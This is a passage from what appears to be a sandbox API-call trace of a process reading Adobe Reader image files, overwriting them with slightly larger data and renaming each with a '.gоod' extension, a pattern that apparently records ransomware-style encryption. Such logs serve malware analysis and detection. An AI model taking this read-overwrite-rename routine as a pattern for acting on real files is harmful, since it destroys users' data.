(x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.560] GetFileType (hFile=0x7dc) returned 0x1 [0105.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0105.560] GetFileType (hFile=0x7dc) returned 0x1 [0105.560] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0xe7d [0105.560] ReadFile (in: hFile=0x7dc, lpBuffer=0x36814c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x36814c0*, lpNumberOfBytesRead=0x1fdec3e8*=0xe7d, lpOverlapped=0x0) returned 1 [0105.561] CloseHandle (hObject=0x7dc) returned 1 [0105.596] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", lpFilePart=0x0) returned 0x67 [0105.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0105.596] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0105.597] GetFileType (hFile=0x7dc) returned 0x1 [0105.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0105.597] GetFileType (hFile=0x7dc) returned 0x1 [0105.597] WriteFile (in: hFile=0x7dc, lpBuffer=0x36fd430*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x36fd430*, lpNumberOfBytesWritten=0x1fdec2f8*=0xe80, lpOverlapped=0x0) returned 1 [0105.598] CloseHandle (hObject=0x7dc) returned 1 [0105.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", lpFilePart=0x0) returned 0x67 [0105.598] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png.gоod", lpFilePart=0x0) returned 0x6c [0105.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0105.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xe80)) returned 1 [0105.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0105.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png.gоod")) returned 1 [0105.599] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", lpFilePart=0x0) returned 0x6c [0105.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0105.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x36fe790 | out: lpFileInformation=0x36fe790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c)) returned 1 [0105.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0105.859] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", lpFilePart=0x0) returned 0x6c [0105.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0105.859] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.859] GetFileType (hFile=0x7c8) returned 0x1 [0105.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0105.859] GetFileType (hFile=0x7c8) returned 0x1 [0105.859] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x22c [0105.859] ReadFile (in: hFile=0x7c8, lpBuffer=0x3450e30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x3450e30*, lpNumberOfBytesRead=0x1fdec3e8*=0x22c, lpOverlapped=0x0) returned 1 [0105.860] CloseHandle (hObject=0x7c8) returned 1 [0105.887] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", lpFilePart=0x0) returned 0x6c [0105.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0105.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.889] GetFileType (hFile=0x7c8) returned 0x1 [0105.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0105.889] GetFileType (hFile=0x7c8) returned 0x1 [0105.889] WriteFile (in: hFile=0x7c8, lpBuffer=0x34c8d90*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x34c8d90*, lpNumberOfBytesWritten=0x1fdec2f8*=0x230, lpOverlapped=0x0) returned 1 [0105.890] CloseHandle (hObject=0x7c8) returned 1 [0105.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif", lpFilePart=0x0) returned 0x6c [0105.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif.gоod", lpFilePart=0x0) returned 0x71 [0105.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0105.890] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b54ef0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0105.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0105.891] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner.gif.gоod")) returned 1 [0105.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x71 [0105.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0105.891] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif"), fInfoLevelId=0x0, lpFileInformation=0x34ca110 | out: lpFileInformation=0x34ca110*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f)) returned 1 [0105.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0105.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x71 [0105.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0105.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.892] GetFileType (hFile=0x7c8) returned 0x1 [0105.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0105.892] GetFileType (hFile=0x7c8) returned 0x1 [0105.892] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1fdec4b8 | out: lpFileSizeHigh=0x1fdec4b8*=0x0) returned 0x12f [0105.892] ReadFile (in: hFile=0x7c8, lpBuffer=0x34ca5b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec3e8, lpOverlapped=0x0 | out: lpBuffer=0x34ca5b8*, lpNumberOfBytesRead=0x1fdec3e8*=0x12f, lpOverlapped=0x0) returned 1 [0106.227] CloseHandle (hObject=0x7c8) returned 1 [0106.725] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x71 [0106.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0106.725] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.726] GetFileType (hFile=0x7b4) returned 0x1 [0106.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec280) returned 1 [0106.726] GetFileType (hFile=0x7b4) returned 0x1 [0106.726] WriteFile (in: hFile=0x7b4, lpBuffer=0x35a8778*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1fdec2f8, lpOverlapped=0x0 | out: lpBuffer=0x35a8778*, lpNumberOfBytesWritten=0x1fdec2f8*=0x130, lpOverlapped=0x0) returned 1 [0106.727] CloseHandle (hObject=0x7b4) returned 1 [0106.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif", lpFilePart=0x0) returned 0x71 [0106.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif.gоod", lpFilePart=0x0) returned 0x76 [0106.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0106.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3bd349ab, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x130)) returned 1 [0106.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0106.728] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adobe_spinner_mini.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adobe_spinner_mini.gif.gоod")) returned 1 [0106.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0106.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), fInfoLevelId=0x0, lpFileInformation=0x35a9b10 | out: lpFileInformation=0x35a9b10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5)) returned 1 [0106.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0106.729] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0106.729] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.729] GetFileType (hFile=0x7b4) returned 0x1 [0106.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0106.729] GetFileType (hFile=0x7b4) returned 0x1 [0106.730] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0106.730] ReadFile (in: hFile=0x7b4, lpBuffer=0x35aa088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x35aa088*, lpNumberOfBytesRead=0x1fdec488*=0x2a5, lpOverlapped=0x0) returned 1 [0106.734] CloseHandle (hObject=0x7b4) returned 1 [0106.734] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0106.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.734] GetFileType (hFile=0x7b4) returned 0x1 [0106.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0106.734] GetFileType (hFile=0x7b4) returned 0x1 [0106.734] SetFilePointer (in: hFile=0x7b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x12a5 [0106.734] WriteFile (in: hFile=0x7b4, lpBuffer=0x35ac8e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x35ac8e8*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0106.734] CloseHandle (hObject=0x7b4) returned 1 [0106.735] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0106.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.735] GetFileType (hFile=0x7b4) returned 0x1 [0106.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0106.735] GetFileType (hFile=0x7b4) returned 0x1 [0106.735] ReadFile (in: hFile=0x7b4, lpBuffer=0x35aec58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x35aec58*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0106.929] CloseHandle (hObject=0x7b4) returned 1 [0106.929] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0106.929] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b4 [0106.929] GetFileType (hFile=0x7b4) returned 0x1 [0106.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0106.929] GetFileType (hFile=0x7b4) returned 0x1 [0106.929] WriteFile (in: hFile=0x7b4, lpBuffer=0x33dfbe8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x33dfbe8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0106.929] CloseHandle (hObject=0x7b4) returned 1 [0106.930] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png", lpFilePart=0x0) returned 0x83 [0106.930] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\apple-touch-icon-114x114-precomposed.png.gоod", lpFilePart=0x0) returned 0x88 [0106.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0106.930] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 